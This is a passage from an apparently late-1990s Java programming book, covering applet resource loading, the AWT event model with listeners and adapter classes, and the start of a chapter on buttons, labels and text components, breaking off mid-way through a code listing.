An applet can find where it lives by calling the getDocumentBase() and getCodeBase() methods. getDocumentBase() returns the base URL of the document in which the applet appears; getCodeBase() returns the base URL of the Applet's class files. An applet can use these to construct relative URLs from which to load other resources like images, sounds, and other data. The getImage() method takes a URL and asks for an image from the viewer environment. The image may be pulled from a cache or loaded asynchronously when later used. The getAudioClip() method, similarly, retrieves sound clips. See Chapter 9, Network Programming for a full discussion of how to work with URLs, and Chapter 11, Using and Creating GUI Components for examples of applets that load images.

The following example uses getCodeBase() to construct a URL and load a properties-configuration file, located at the same location as the applet's class file. (See Chapter 7, Basic Utility Classes for a discussion of properties.)

Properties props = new Properties();
try {
    URL url = new URL(getCodeBase(), "appletConfig.props");
    props.load( url.openStream() );
} catch ( IOException e ) { // failed }

A better way to load resources is by calling the getResource() and getResourceAsStream() methods of the Class class, which search the applet's JAR files (if any) as well as its codebase. See Chapter 8, Input/Output Facilities for a discussion of resource loading. The following code loads the properties file appletConfig.props:

Properties props = new Properties();
try {
    props.load( getClass().getResourceAsStream("appletConfig.props") );
} catch ( IOException e ) { // failed }

Driving the Browser

The status line is a blurb of text that usually appears somewhere in the viewer's display, indicating a current activity. An applet can request that some text be placed in the status line with the showStatus() method. (The browser isn't required to do anything in response to this call, but most browsers will oblige you.)

An applet can also ask the browser to show a new document. To do this, the applet makes a call to the showDocument( url ) method of the AppletContext. You can get a reference to the AppletContext with the Applet's getAppletContext() method. showDocument() can take an additional String argument to tell the browser where to display the new URL:

getAppletContext().showDocument( url, name );

The name argument can be the name of an existing labeled HTML frame; the document referenced by the URL will be displayed in that frame. You can use this method to create an applet that "drives" the browser to new locations dynamically, but stays active on the screen in a separate frame. If the named frame doesn't exist, the browser will create a new top-level window to hold it. Alternatively, name can have one of the following special values:

_self | Show in the current Frame
_parent | Show in the parent of our Frame
_top | Show in outer-most (top level) frame.
_blank | Show in a new top level browser window.

Both showStatus() and showDocument() requests may be ignored by a cold-hearted viewer or Web browser.

    *** Missing Discussion of getApplet() ***
    *** Add a blurb about the upcoming InfoBus stuff ***

Applets vs. Standalone Applications

    *** Discuss getImage() and image loading from JAR files for applications ***

The following list summarizes the methods of the applet API:

// from the AppletStub
boolean isActive();
URL getDocumentBase();
URL getCodeBase();
String getParameter(String name);
AppletContext getAppletContext();
void appletResize(int width, int height);
// from the AppletContext
AudioClip getAudioClip(URL url);
Image getImage(URL url);
Applet getApplet(String name);
Enumeration getApplets();
void showDocument(URL url);
public void showDocument(URL url, String target);
void showStatus(String status);

These are the methods that are provided by the applet viewer environment. If your applet doesn't happen to use any of them, or if you can provide alternatives to handle special cases (such as loading images from JAR files), your applet could be made able to function as a standalone application as well as an applet. For example, our HelloWeb applet from Chapter 2, A First Applet was very simple. We can easily give it a main() method to allow it to be run as a standalone application:

public class HelloWeb extends Applet {

    public void paint( java.awt.Graphics gc ) {
        gc.drawString( "Hello Web!", 125, 95 );
    }

    public static void main( String [] args ) {
        Frame theFrame = new Frame();
        Applet helloWeb = new HelloWeb();
        theFrame.add("Center", helloWeb);
        theFrame.setSize(200,200);
        helloWeb.init();
        helloWeb.start();
        theFrame.show();
    }
}

Here we get to play "appletviewer" for a change. We have created an instance of HelloWeb using its constructor - something we don't normally do$mdash;and added it to our own Frame. We call its init() method to give the applet a chance to wake up and then call its start() method. In this example, HelloWeb doesn't implement these, init() and start(), so we're calling methods inherited from the Applet class. This is the procedure that an appletviewer would use to run an applet. (If we wanted to go further, we could implement our own AppletContext and AppletStub, and set them in the Applet before startup).

Trying to make your applets into applications as well often doesn't make sense, and is not always trivial. We show this only to get you thinking about the real differences between applets and applications. It is probably best to stay within the applet API until you have a need to go outside it. Remember that trusted applets can do almost all of the things that applications can. It is probably wiser to make an applet that requires trusted permissions than an application.

Events

We've spent a lot of time discussing the different kinds of objects in AWT--components, containers, and a few special containers like applets. But we've neglected communications between different objects. A few times, we've mentioned events, and we have even used them in the occasional program (like our applets in Chapter 2, A First Applet), but we have deferred a discussion of events until later. Now is the time to pay that debt.

AWT objects communicate by sending events. The way we talk about "firing" events and "handling" them makes it sound as if they are part of some special Java language feature. But they aren't. An event is simply an ordinary Java object that is delivered to its receiver by invoking an ordinary Java method. Everything else, however interesting, is purely convention. The entire Java event mechanism is really just a set of conventions for the kinds of descriptive objects that should be delivered; these conventions prescribe when, how, and to whom events should be delivered.

Events are sent from a single source object to one or more listeners (or "targets"). A listener implements specific event handling methods that enable it to receive a type of event. It then registers itself with a source of that kind of event. Sometimes there may be an "adapter" object interposed between the event source and the listener, but there is always a connection established before any events are delivered.

An event object is a subclass of java.util.EventObject that holds information about "something that's happened" to its source. The EventObject class serves mainly to identify event objects; the only information it contains is a reference to the event source (the object that sent the event). Components do not normally send or receive EventObjects as such; they work with subclasses that provide more specific information. AWTEvent is a subclass of EventObject that is used within AWT; further subclasses of AWTEvent provide information about specific event types.

For example, events of type ActionEvent are fired by buttons when they are pushed. ActionEvents are also sent when a menu item is selected or when a user presses ENTER in a TextField. Similarly, MouseEvents are generated when you operate your mouse within a component's area. You can gather the general meaning of these two events from their names; they are relatively self-descriptive. ActionEvents correspond to a decisive "action" that a user has taken with the component--like pressing a button, or pressing ENTER to indicate that he has filled in a text field. An ActionEvent thus carries the name of an action to be performed (the "action command") by the program. MouseEvents describe the state of the mouse, and therefore carry information like the x and y coordinates and the state of your mouse buttons at the time it was created. You might hear someone say that ActionEvent is at a "higher semantic level" than MouseEvent. This means that ActionEvent is an interpretation of something that happened and is, therefore, conceptually more powerful than the MouseEvent, which carries raw data. An ActionEvent lets us know that a component has done its job, while a MouseEvent simply confers a lot of information about the mouse at a given time. You could figure out that somebody clicked on a Button by examining mouse events, but it is simpler to work with action events. The precise meaning of an event, however, can depend on the context in which it is received. (More on that in a moment.)

Event Receivers and Listener Interfaces

An event is delivered by passing it as an argument to an event handler method in the receiving object. ActionEvents, for example, are always delivered to a method called actionPerformed() in the receiver:

// Receiver
public void actionPerformed( ActionEvent e ) {
    ...
}

For each type of event, there is a corresponding listener interface that describes the methods it must provide to receive those events. In this case, any object that receives ActionEvents must implement the ActionListener interface:

public interface ActionListener extends java.util.EventListener {
    public void actionPerformed( ActionEvent e );
}
// Reciever implements ActionListener

All listener interfaces are subinterfaces of java.util.EventListener, but EventListener is simply an empty interface. It exists only to help the compiler identify listener interfaces.

Listener interfaces are required for a number of reasons. First, they help to identify objects that are capable of receiving a given type of event. This way we can give the event handler methods friendly, descriptive names and still make it easy for documentation, tools, and humans to recognize them in a class. Next, listener interfaces are useful because there can be several methods specified for an event receiver. For example, the FocusListener interface contains two methods:

abstract void focusGained( FocusEvent e );
abstract void focusLost( FocusEvent e );

Athough these methods both take a FocusEvent as an argument, they correspond to different meanings for why the event was fired; in this case, whether the FocusEvent means that focus was received or lost. You could figure out what happened by inspecting the event; all AWTEvents contain a constant specifying the event's subtype. By requiring two methods, the FocusListener interface saves you the effort: if focusGained() is called, you know the event type was FOCUS_GAINED. Similarly, the MouseListener interface defines five methods for receiving mouse events (and MouseMotionListener defines two more), each of which gives you some additional information about why the event occurred. In general, the listener interfaces group sets of related event handler methods; the method called in any given situation provides a context for the information in the event object.

There can be more than one listener interface for dealing with a particular kind of event. For example, the MouseListener interface describes methods for receiving MouseEvents when the mouse enters or exits an area, or a mouse button is pressed or released. MouseMotionListener is an entirely separate interface that describes methods to get mouse events when the mouse is moved (no buttons pressed) or dragged (buttons pressed). By separating mouse events into these two categories, Java lets you be a little more selective about the circumstances under which you want to recieve MouseEvents. You can register as a listener for mouse events without receiving mouse motion events; since mouse motion events are extremely common, you don't want to handle them if you don't need to.

Finally, we should point out two simple patterns in the naming of AWT event listener interfaces and handler methods:

  • Event handler methods are public methods that return type void and take a single event object (a subclass of java.util.EventObject as an argument).[2]

    [2] This rule is not complete. The full Java Beans allows event handler methods to take additional arguments when absolutely necessary and also to throw checked exceptions.

  • Listener interfaces are subclasses of java.util.EventListener that are named with the suffix "Listener," e.g., FooListener.

These may seem pretty obvious, but they are important because they are our first hint of a design pattern governing how to build components that work with events.

Event Sources

The previous section described the machinery that an event receiver uses to accept events. In this section we'll describe how the receiver tells an event source to start sending it events as they occur.

To receive events, an eligible listener must register itself with an event source. It does this by calling an "add listener" method in the event source, and passing a reference (a callback) to itself. For example, the AWT Button class is a source of ActionEvents. In order to receive these events, our code might do something like the following:

// source of ActionEvents
Button theButton = new Button("Belly");

// receiver of ActionEvents
class TheReceiver implements ActionListener {
   setupReceiver() {
      ...
      theButton.addActionListener( this );
   }
   public void actionPerformed( ActionEvent e ) {
      // Belly Button pushed...
   }

The receiver makes a call to addActionListener() to complete its setup and become eligible to receive ActionEvents from the button when they occur. It passes the reference this, to add itself as the ActionListener.

To manage its listeners, an ActionEvent source (like the Button) always implements two methods:

// ActionEvent source
public void addActionListener(ActionListener listener) {
   ...
}
public void removeActionListener(ActionListener listener) {
   ...
}

The removeActionListener() method complements addActionListener() and does what you'd expect: it removes the listener from the list so that it will not receive future events from that source.

Now, you may be expecting an "event source" interface listing these two methods, but there isn't one. There are no event source interfaces in the current conventions. If you are analyzing a class and trying to determine what events it generates, you have to look for the add and remove methods. For example, the presence of the addActionListener() and removeActionListener() methods define the object as a source of ActionEvents. If you happen to be a human being, you can simply look at the documentation; but if the documentation isn't available, or if you're writing a program that needs to analyze a class (a process called "reflection"), you can look for this design pattern:

  • A source of events for the FooListener interface must implement a pair of add/remove methods:

    • addFooListener(FooListener listener) (*)

    • removeFooListener(FooListener listener)

  • If an event source can only support one event listener (unicast delivery), the add listener method can throw the checked exception java.util.TooManyListenersException.

So, what do all the naming patterns up to this point accomplish? Well, for one thing they make it possible for automated tools and integrated development environments to divine what are sources and what are sinks of particular events. Tools that work with Java Beans will use the Java reflection and introspection APIs to search for these kinds of design patterns and identify the events that can be fired and received by a component.

It also means that event hookups are strongly typed, just like the rest of Java. So, it's not easy to accidentally hook up the wrong kind of components; for example, you can't register to receive ItemEvents from a Button, because a button doesn't have an addItemListener() method. Java knows at compile time what types of events can be delivered to whom.

Event Delivery

AWT events are multicast; every event is associated with a single source, but can be delivered to any number of receivers. Events are registered and distributed using an observer/observable model. When an event listener registers itself with an event source, the event source adds the listener to a list. When an event is fired, it is delivered individually to each listener on the list.

Figure 10.9: Event delivery

[Graphic: Figure 10-9]

There are no guarantees about the order in which events will be delivered. Neither are there any guarantees if you register yourself more than once with an event source; you may get the event more than once, or not. Similarly, you should assume that every listener receives the same event data. Events are "immutable"; they can't be changed by their listeners. There's one important exception to this rule, which we'll discuss later.

To be complete we could say that event delivery is synchronous with respect to the event source, but that follows from the fact that the event delivery is really just the invocation of a normal Java method. The source of the event calls the handler method of each listener. However, listeners shouldn't assume that all of the events will be sent in the same thread. An event source could decide to sent out events to all of the listeners in parallel.

How exactly an event source maintains its set of listeners, constructs, and fires the events is up to it. Often it is sufficient to use a Vector to hold the list. We'll show the code for a component that uses a custom event in Chapter 11, Using and Creating GUI Components. For efficiency, AWT components all use the java.awt.AWTEventMulticaster object, which maintains a linked tree of the listeners for the component. You can use that too, if you are firing standard AWT events. We'll describe the event multicaster in Chapter 11, Using and Creating GUI Components as well.

AWTEvents

All of the events used by AWT GUI components are subclasses of java.awt.AWTEvent. AWTEvent holds some common information that is used by AWT to identify and process events. You can use or subclass any of the AWTEvent types for use in your own components.

Use the event hierarchy from Java in a Nutshell or AWT Reference.

ComponentEvent is the base class for events that can be fired by any AWT component. This includes events that provide notification when a component changes its dimensions or visibility, as well as the other event types for mouse operation and key presses. ContainerEvents are fired by AWT containers when components are added or removed.

java.awt.event.InputEvent

MouseEvents, which track the state of the mouse, and KeyEvents, which are fired when the user uses the keyboard, are types of java.awt.event.InputEvent. Input events from the mouse and keyboard are a little bit special. They are normally produced by the native Java machinery associated with the peers. When the user touches a key or moves the mouse within a component's area, the events are generated with that component as the source.

Input events and some other AWT events are placed on a special event queue that is managed by the AWT Toolkit. This gives the Toolkit control over how the events are delivered. First, under some circumstances, the Toolkit can decide to "compress" a sequence of the same type of event into a single event. This is done to make some event types more efficient--in particular, mouse events and some special internal events used to control repainting. Perhaps more important to us, input events are delivered with a special arrangement that lets listeners decide if the component itself should act on the event.

Consuming events

Normally, the native peer of a standard AWT component operates by receiving InputEvents telling it about the mouse and keyboard. When you push a Button, the native ButtonPeer object receives a MouseEvent and does its job in native land to accomplish the button-depressing behavior. But for InputEvents, the Toolkit first delivers the event to any listeners registered with the the component and gives those listeners a chance to mark the event as "consumed," effectively telling the peer to ignore it. An InputEvent is marked "consumed" by calling the consume() method. (Yes, this is a case where an event is not treated as immutable.)

So, we could stop our Button from working by registering a listener with it that catches "mouse button depressed" events. When it got one, we could call its consume() method to tell the ButtonPeer to ignore that event. This is particularly useful if you happen to be building a develoment environment in Java and you want to "turn off" components while the user arranges them.

If you need to, in a trusted application you can get access to the AWT event queue. The Toolkit uses an instance of java.awt.EventQueue. With it you can peek at pending AWT events or even to push in new ones.

Mouse and Key Modifiers on InputEvents

InputEvents come with a set of flags for special modifiers. These let you detect if the SHIFT or ALT key was held down during a mouse button or key press, or if the second or third mouse buttons were pressed. The following are the flag values contained in java.awt.event.InputEvent:

  • SHIFT_MASK

  • CTRL_MASK

  • META_MASK

  • ALT_MASK

  • BUTTON1_MASK

  • BUTTON2_MASK

  • BUTTON3_MASK

To check for these masks, you can simply do a boolean AND of the modifiers, returned by the InputEvent's getModifiers() method and the flag or flags you're interested in:

public void mousePressed (MouseEvent e) {
    int mods = e.getModifiers();
    if ((mods & InputEvent.SHIFT_MASK) != 0)
        // Shifted Mouse Button press
}

In the list you'll notice there are three BUTTON flags. These can be used to detect if a particular mouse button was used in a mouse press on a two or three button mouse. Be warned, if you use these you run the risk that your program won't work on platforms without multibutton mice. Currently, BUTTON2_MASK is equivalent to ALT_MASK, and BUTTON3_MASK is equivalent to META_MASK. This means that pushing the second mouse button is equivalent to pressing the first (or only) button with the ALT key depressed, and the third button is equivalent to the first with the META key depressed. However, if you really want to guarantee portability, you should limit yourself to a single button, possibly in combination with keyboard modifiers, rather than relying on the button masks.

Key events provide one other situation in which events aren't immutable. You can change the character that the user typed by calling setKeyChar(), setKeyCode(), or setKeyModifiers(). A user's keystroke isn't displayed until the KeyEvent is delivered to the peer. Therefore, by changing the character in the KeyEvent, you can change the character displayed on the screen. This is a good way to implement a field that only displays uppercase characters, regardless of what the user types.

AWT Event Reference

The following tables summarize the AWT Events, which components fire them, and the methods of the listener interfaces that receive them:

AWT Component and Container Events

Event | Fired by | Listener interface(s) | Handler Method(s)
ComponentEvent | All Components (*) | ComponentListener | componentResized()
 |  |  | componentMoved()
 |  |  | componentShown()
 |  |  | componentHidden()
FocusEvent |  | FocusListener | focusGained()
 |  |  | focusLost()
KeyEvent |  | KeyListener | keyTyped()
 |  |  | keyPressed()
 |  |  | keyReleased()
MouseEvent |  | MouseListener | mouseClicked()
 |  |  | mousePressed()
 |  |  | mouseReleased()
 |  |  | mouseEntered()
 |  |  | mouseExited()
 |  | MouseMotionListener | mouseDragged()
 |  |  | mouseMoved()
ContainerEvent | All Containers | ContainerListener | componentAdded()
 |  |  | componentRemoved()

Component specific AWT Events

Event | Fired by | Listener interface(s) | Handler Method(s)
ActionEvent | TextField | ActionListener | actionPerformed()
 | MenuItem
 | List
 | Button
ItemEvent | List | ItemListener | itemStateChanged()
 | Checkbox
 | Choice
 | CheckboxMenuItem
AdjustmentEvent | ScrollPane | AdjustmentListener | adjustmentValueChanged()
 | Scrollbar
TextEvent | TextArea | TextListener | textValueChanged()
 | TextField
WindowEvent | Frame, Dialog | WindowListener | windowOpened()
 |  |  | windowClosing()
 |  |  | windowClosed()
 |  |  | windowIconified()
 |  |  | windowDeiconified()
 |  |  | windowActivated()
 |  |  | windowDeactivated()

Adapter Classes

It's not ideal to have your application components implement a listener interface and receive events directly. Sometimes it's not even possible. Being an event receiver forces you to modify or subclass your objects to implement the appropriate event listener interfaces and add the code necessary to handle the events. A more subtle issue is that, since we are talking about AWT events here, you are, of necessity, building GUI logic into parts of your application that shouldn't have to know anything about the GUI. Let's look at an example:

Figure 10.10: Implementing the ActionListener interface

[Graphic: Figure 10-10]

In Figure 10.10 we have drawn the plans for our Vegomatic food processor. Here we have made our Vegomatic object implement the ActionListener interface so that it can receive events directly from the three Button components: "Chop," "Puree," and "Frappe." The problem is that our Vegomatic object now has to know more than how to mangle food. It also has to be aware that it will be driven by three controls, specifically buttons that send action commands, and be aware of which methods in itself it should invoke for those commands. Our boxes labeling the GUI and Application code overlap in an unwholesome way. If the marketing people should later want to add or remove buttons, or perhaps just change the names, we have to be careful. We may have to modify the logic in our Vegomatic Object. All is not well.

An alternative is to place an "adapter" class between our event source and receiver. An adapter is a simple object whose sole purpose is to map an incoming event to an outgoing method.

Figure 10.11: A design using adapter classes

[Graphic: Figure 10-11]

Figure 10.11 shows a better design that uses three adapter classes, one for each button. The implementation of the first adapter might look like:

class VegomaticAdapter1 implements actionListener {
    Vegotmatic vegomatic;
    VegomaticAdapter1 ( Vegotmatic vegomatic ) {
        this.vegomatic = vegomatic;
    }
    public void actionPerformed( ActionEvent e ) {
        vegomatic.chopFood();
    }
}

So somewhere in the code where we build our GUI, we could register our listener like so:

// building GUI for our Vegomatic
Vegomatic theVegomatic = ...;
Button chopButton = ...;
// make the hookup
chopButton.addActionListener( new VegomaticAdapter1(theVegomatic) );

We have completely separated the messiness of our GUI from the application code. However, we have added three new classes to our application, none of which does very much. Is that good? That depends on your vantage point.

Under different circumstances our buttons may have been able to share a common adapter class that was simply instantiated with different parameters. There are various trade-off that can be made between size, efficiency, and elegance of code. Often, adapter classes will be generated automatically by development tools. The way we have named our adapter classes "VegomaticAdapter1," "VegomaticAdapter2," and "VegomaticAdapter3" hints at this. More often, when hand coding, you'll use an inner class. At the other extreme, we can forsake Java's strong typing and use the reflection API to create a completely dynamic hookup betwen an event source and listener.

AWT Dummy Adapters

Many listener interfaces contain more than one event handler method. Unfortunately, this means that to register yourself as interested in any one of those events, you must implement the whole listener interface. And to accomplish this you might find yourself typing in dummy "stubbed out" methods, simply to complete the interface. There is really nothing wrong with this, but it is a bit tedious. To save you some trouble, AWT provides some helper classes that implement these dummy methods for you. For each listener interface containing more than one method there is an adapter class containing the stubbed methods. The adapter class serves as a base class for your own adapters. So, when you need a class to patch together your event source and listener, you can simply subclass the adapter and override only the methods you want.

For example, the MouseAdapter class implements the MouseListener interface and provides the following implementation:

public void mouseClicked(MouseEvent e) {};
public void mousePressed(MouseEvent e) {};
public void mouseReleased(MouseEvent e) {};
public void mouseEntered(MouseEvent e) {};
public void mouseExited(MouseEvent e) {};

This may not look like a tremendous time saver, and you're right. It's simply a bit of sugar. The primary advantage comes into play when we use the MouseAdapter as the base for your own adapter in an anonymous inner class. For example, suppose we want to catch a mousePressed() event in some component and blow up a building. We can use the following to make the hookup:

someComponent.addMouseListener( new MouseAdapter() {
    public void MousePressed(MouseEvent e) {
        building.blowUp();
    }
} );

We've taken artistic liberties with the formatting, but I think it's very readable, and I like it. It's a common enough activity that it's nice to avoid typing those extra few lines and perhaps stave off the onset of carpal tunnel syndrome for a few more hours. Remember that any time you use an inner class, the compiler is generating a class for you, so the messiness you've saved in your source still exists in the output classes.

Old Style and New Style Event Processing

Although Java is still a youngster, it has a bit of a legacy. Versions of Java before 1.1 used a different style of event delivery. Back in the old days (a few months ago) event types were limited and events were only delivered to the Component that generated it, or one of its parent containers. The old style component event handler methods (now deprecated) returned a boolean value declaring whether or not they had "handled" the event.

boolean handleEvent( Event e ) {
    ...
}

If the method returns false, the event is automatically redelivered to the component's container to give it a chance. If the container does not handle it, it is passed on to its parent container and so on. In this way, events were propogated up the containment hierarchy until they were either consumed or passed over to the component peer, just as current InputEvents are ultimately interpreted used the peer if no registered event listeners have consumed them.

Although this style of event delivery was convenient for some simple applications, it is not very flexible. Events could only be handled by components, which meant that you always had to subclass a Component or Container type to handle events. This was a degenerate use of inheritance (bad design) that led to the creation of lots of unnecessary classes.

We could, alternatively, receive the events for many embedded components in a single parent container, but that would often lead to very convoluted logic in the container's event handling methods. It is also very costly to run every single AWT event through a guantlet of (often empty) tests as it traverses its way up the tree of containers. This is why Java now provides the more dynamic and general event source/listener model that we have described in this chapter. The old style events and event handler methods are, however, still with us.

Java is not allowed to simply change and break an established API. Instead, as we described in Chapter 1, Yet Another Language?, older ways of doing things are simply "deprecated" in favor of the new ones. This means that code using the old style event handler methods will still work; you may see old-style code around for a long time. The problem with relying on old-style event delivery, however, is that the old and new ways of doing things cannot be mixed.

By default, Java is obligated to perform the old behavior--offering events to the component and each of its parent containers. However, Java turns off the old style delivery whenever it thinks that we have elected to use the new style. Java determines whether a Component should recieve old style or new style events based on whether any event listeners are registered, or whether new style events have been explicitly enabled. When an AWT event listener is registered with a Component, new style events are implicitly turned on (a flag is set). Additionally, a mask is set telling the component the types of AWT events it should process. The mask allows components to be more selective about which events they process.

processEvent()

When new style events are enabled, all events are first routed to the dispatchEvent() method of the Component class. The dispatchEvent() method examines the component's event mask and decides whether the event should be processed or ignored. Events that have been "enabled" are sent to the processEvent() method, which simply looks at the event's type and delegates it to a "helper" processing method named for its type. The helper processing method finally dispatches the event to the set of registered listeners for its type.

This process closely parallels the way in which old style events are processed, and the way in which events are first directed to a single handleEvent() method that dispatches them to more specific handler methods in the Component class. The differences are that new style events are not delivered unless someone is listening for them, and the listener registration mechanism means that we don't have to subclass the component in order to override its event handler methods and insert our own code.

Enabling New Style Events Explicitly

Still, if you are subclassing a Component type for other reasons, or you really want to process all events in a single method, you should be aware that it is possible to emulate the old style event handling and override your component's event processing methods. You simply have to call the Component's enableEvents() method with the appropriate mask value to turn on processing for the given type of event. You can then override the corresponding method and insert your code. The mask values are found in the java.awt.AWTEvent class:

java.awt.AWTEvent mask | method
COMPONENT_EVENT_MASK | processComponentEvent()
FOCUS_EVENT_MASK | processFocusEvent()
KEY_EVENT_MASK | processKeyEvent()
MOUSE_EVENT_MASK | processMouseEvent()
MOUSE_MOTION_EVENT_MASK | processMouseMotionEvent()

For example:

    public void init() {
        ...
        enableEvent( AWTEvent.KEY_EVENT_MASK ):
    }
    public void processKeyEvent(KeyEvent e) {
        if ( e.getID() == KeyEvent.KEY_TYPED )
            // do work
        super.processKeyEvent(e);
    }

If you do this it is vital that you remember to make a call to super.process...Event() in order to allow normal event delegation to continue. Of course, by emulating old-style event handling, we're giving up the virtues of the new style; in particular, this code is a lot less flexible than the code we could write with the new event model. As we've seen, the user interface is hopelessly tangled with the actual work your program does. A compromise solution would be to have your subclass declare that it implements the appropriate listener interface and register itself, as we have done in the simpler examples in this book:

class MyApplet implements KeyListener ...

    public void init() {
        addKeyListener( this ):
        ...
    }
    public void keyTyped(KeyEvent e) {
        // do work
    }

Previous | Home | Next
GUI Concepts in Java | Book Index | Using and Creating GUI Components
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] Using and Creating GUI Components

Previous Chapter 11 Next

11. Using and Creating GUI Components

Contents:
Buttons and Labels
Text Components
Lists
Menus and Choices
PopupMenus
Checkboxes and CheckboxGroups
ScrollPane and Scrollbars
Dialogs
Creating custom components

The last chapter discussed a lot of concepts: how Java's user interface facility is put together, and how the larger pieces work. You should understand what components and containers are, how you use them to create a display, what events are, how components use them to communicate with the rest of your application, and what layout managers are. In other words, we've covered a lot of material that's "good for you."

Now that we're through with the general concepts and background, we'll get to the fun stuff: how to do things with AWT. We will cover all the components that the AWT package supplies, how to use these components in applets and applications, and how to build your own components. We will have lots of code and lots of pretty examples to look at. Here's a list of the components we cover:

  • Button and Label

  • Text components: TextArea and TextField

  • List

  • Menu and Choice

  • PopupMenu

  • Checkbox and checkbox grouping

  • Scrollbar and ScrollPane

  • Dialog and FileDialog

When we discuss how to create your own components, we'll cover these issues:

  • Extending canvas

  • Lightweight components

  • Making components that fire events

11.1 Buttons and Labels

We'll start with the simplest components, buttons, and labels. Frankly, there isn't much to say about them. If you've seen one button, you've seen them all; and you've already seen buttons in the applets of Chapter 2 (HelloWeb3 and HelloWeb4). A button generates an ActionEvent when the user presses it. To receive these events, your program registers an ActionListener, which must implement the actionPerformed() method. The argument passed to actionPerformed() is the event itself. Rather than rehash this material, I'll refer you to Chapter 2.

So much for review. There's one more thing worth saying about buttons, which applies to any component that generates an action event. Java lets us specify an "action command" for buttons (and other components, like menu items, that can generate action events). The action command is less interesting than it sounds. It is just a String that serves to identify the component that sent the event. By default, the action command of a Button is the same as the text of its label; it is included in action events, so you can use it to figure out which button an event came from. To get the action command from an action event, call the event's getActionCommand() method. The following code checks whether the user pressed the "Yes" button:

public void actionPerformed(ActionEvent e){
    if (e.getActionCommand().equals("Yes") {
        //the user pressed "Yes"; do something
        ...
    }
}

You can change the action command by calling the button's setActionCommand() method. The code below changes the button b's action command to "confirm":

myButton.setActionCommand("confirm");

It's a good idea to get used to setting action commands explicitly, because they prevent your code from breaking when you or some other developer "internationalizes" it. If you rely on the button's label, your code will stop working as soon as that label changes; a French user might see the label "Oui" rather than "Yes." By setting the action command, you eliminate one source of bugs; for example, the button myButton above will always generate the action command "confirm," regardless of what its label says.

There's even less to be said about Label components. They're just text strings, housed in a component. There aren't any special events associated with labels; about all you can do is specify the text's alignment, which controls the position of the text within the area that the label occupies when displayed. The following code creates some labels with different alignments:

Label l1 = new Label("Lions"); //label with default alignment (CENTER)
Label l2 = new Label("Tigers", LEFT); //left aligned label
Label l3 = new Label (); //label with no text, default alignment
l3.setText("and Bears"); //assigning text to l3
l3.setAlignment(RIGHT); //setting l3's alignment

Now we've built three labels, using all three constructors and several of the class's methods. To display the labels, you only have to add them to a container by calling the container's add() method.

The other characteristics you might like to set on labels, like changing their font or color, are accomplished using the methods of the Component class Chapter 10, Understand the Abstract Windowing Toolkit For example, you can call setFont() and setColor() on a label, as with any other component.

Given that labels are so simple, why do we need them at all? Why not just call drawString() whenever we need text? Remember that a Label is a Component. That's important; it means that labels have the normal complement of methods for setting fonts and colors that we mentioned above, as well as the ability to be managed sensibly by a layout manager. Therefore, they're much more flexible.

Speaking of layouts--if you use the setText() method to change the text of your label, its size will probably change. So you should remember to call validate() on its container, to lay things out again.[1]

[1] At least as of Java 1.1, labels aren't very smart. Simply validating the container isn't enough. I had to explicitly invalidate the label first.

label.setText(...);
label.invalidate();
validate();  // on the container holding the label

This ought to be considered a bug.

Previous | Home | Next
Applets | Book Index | Text Components
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] 11.2 Text Components

Previous Chapter 11
Using and Creating GUI Components 		Next

11.2 Text Components

AWT gives us two basic text components: TextArea is a multiline text editor with vertical and horizontal scrollbars; TextField is a simple, single-line text editor. Both TextField and TextArea derive from the TextComponent class, which provides the functionality they have in common. This includes methods for setting and retrieving the displayed text, specifying whether the text is "editable" or read-only, manipulating the caret (cursor) position in the display, and manipulating the "selection text."

Both TextAreas and TextFields send TextEvents to listeners when their text is modified. To receive these events, you must implement the java.awt.TextListener interface and register by calling the component's addTextListener() method. In addition, TextField components generate an ActionEvent whenever the user presses the RETURN key within the field. To get these events, implement the ActionListener interface and call addActionListener() to register.

Here are a couple of simple applets that show you how to work with text areas and fields.

A TextEntryBox

Our first example, TextEntryBox, creates a TextArea and ties it to a TextField, as you can see in Figure 11.1.

When the user hits RETURN in the TextField, we receive an ActionEvent and add the line to the TextArea's display.

Try it out. You may have to click your mouse in the TextField to give it focus before typing in it. If you fill up the display with lines, you can test drive the scrollbar.

Figure 11.1: The TextEntryBox applet

[Graphic: Figure 11-1]

import java.awt.*;
import java.awt.event.*;
public class TextEntryBox extends java.applet.Applet
implements ActionListener {
    TextArea area;
    TextField field;

    public void init() {
        setLayout( new BorderLayout() );
        add( "Center", area = new TextArea() );
        area.setFont( new Font("TimesRoman",Font.BOLD,18) );
        area.setText("Howdy!\n");
        add( "South", field = new TextField() );
        field.addActionListener ( this );
    }
    public void actionPerformed(ActionEvent e) {
        area.append( field.getText() + '\n' );
        field.setText("");
    }
}

TextEntryBox is exceedingly simple; we've done a few things to make it more interesting. First, we set the applet's layout manager to BorderLayout. We use BorderLayout to position the TextArea above the TextField; the text area goes in the "North" region of the layout, and the text field is in the "South" region. We give the text area a bigger font using Component's setFont() method; fonts are discussed in Chapter 11, Using and Creating GUI Components. Finally, we want to be notified whenever the user types RETURN in the text field, so we register our applet (this) as a listener for action events by calling field.addActionListener(this).

Hitting RETURN in the TextField generates an action event, and that's where the fun begins. We handle the event in the actionPerformed() method of our container, the TextEntryBox applet. Then we use the getText() and setText() methods to manipulate the text the user has typed. These methods can be used for both TextField and TextArea, because these components are derived from the TextComponent class, and therefore have some common functionality.

Our event handler is called actionPerformed(), as required by the ActionListener interface. First, actionPerformed() calls field.getText() to read the text that the user typed into our TextField. It then adds this text to the TextArea by calling area.append(). Finally, we clear the text field by calling field.setText(""), preparing it for more input.

By default, TextField and TextArea are editable; you can type and edit in both text components. They can be changed to output-only areas with the setEditable() method. Both text components also support selections. A selection is a subset of text that is highlighted for copying and pasting in your windowing system. You select text by dragging the mouse over it; you can then copy and paste it into other text windows. You can get the selected text explicitly with getSelectedText().

TextWatcher Applet

Our next example is a TextWatcher that consists of two linked text areas. Anything the user types into either area is reflected in both. It demonstrates how to handle a TextEvent, which is generated whenever the text changes in a TextComponent. It also demonstrates how to use an adapter class, which is a more realistic way of setting up event listeners. Registering the applet as a listener is okay for simple programs, but the technique shown here will serve you better in more complex situations.

Figure 11.2: The TextWatcher applet

[Graphic: Figure 11-2]

import java.awt.*;
import java.awt.event.*;
public class TextWatcher extends java.applet.Applet {
    TextArea area1, area2;

    public void init() {
        setLayout( new GridLayout(2,1) );
        add( area1 = new TextArea() );
        add( area2 = new TextArea() );
        area1.addTextListener ( new TextSyncAdapter( area2 ));
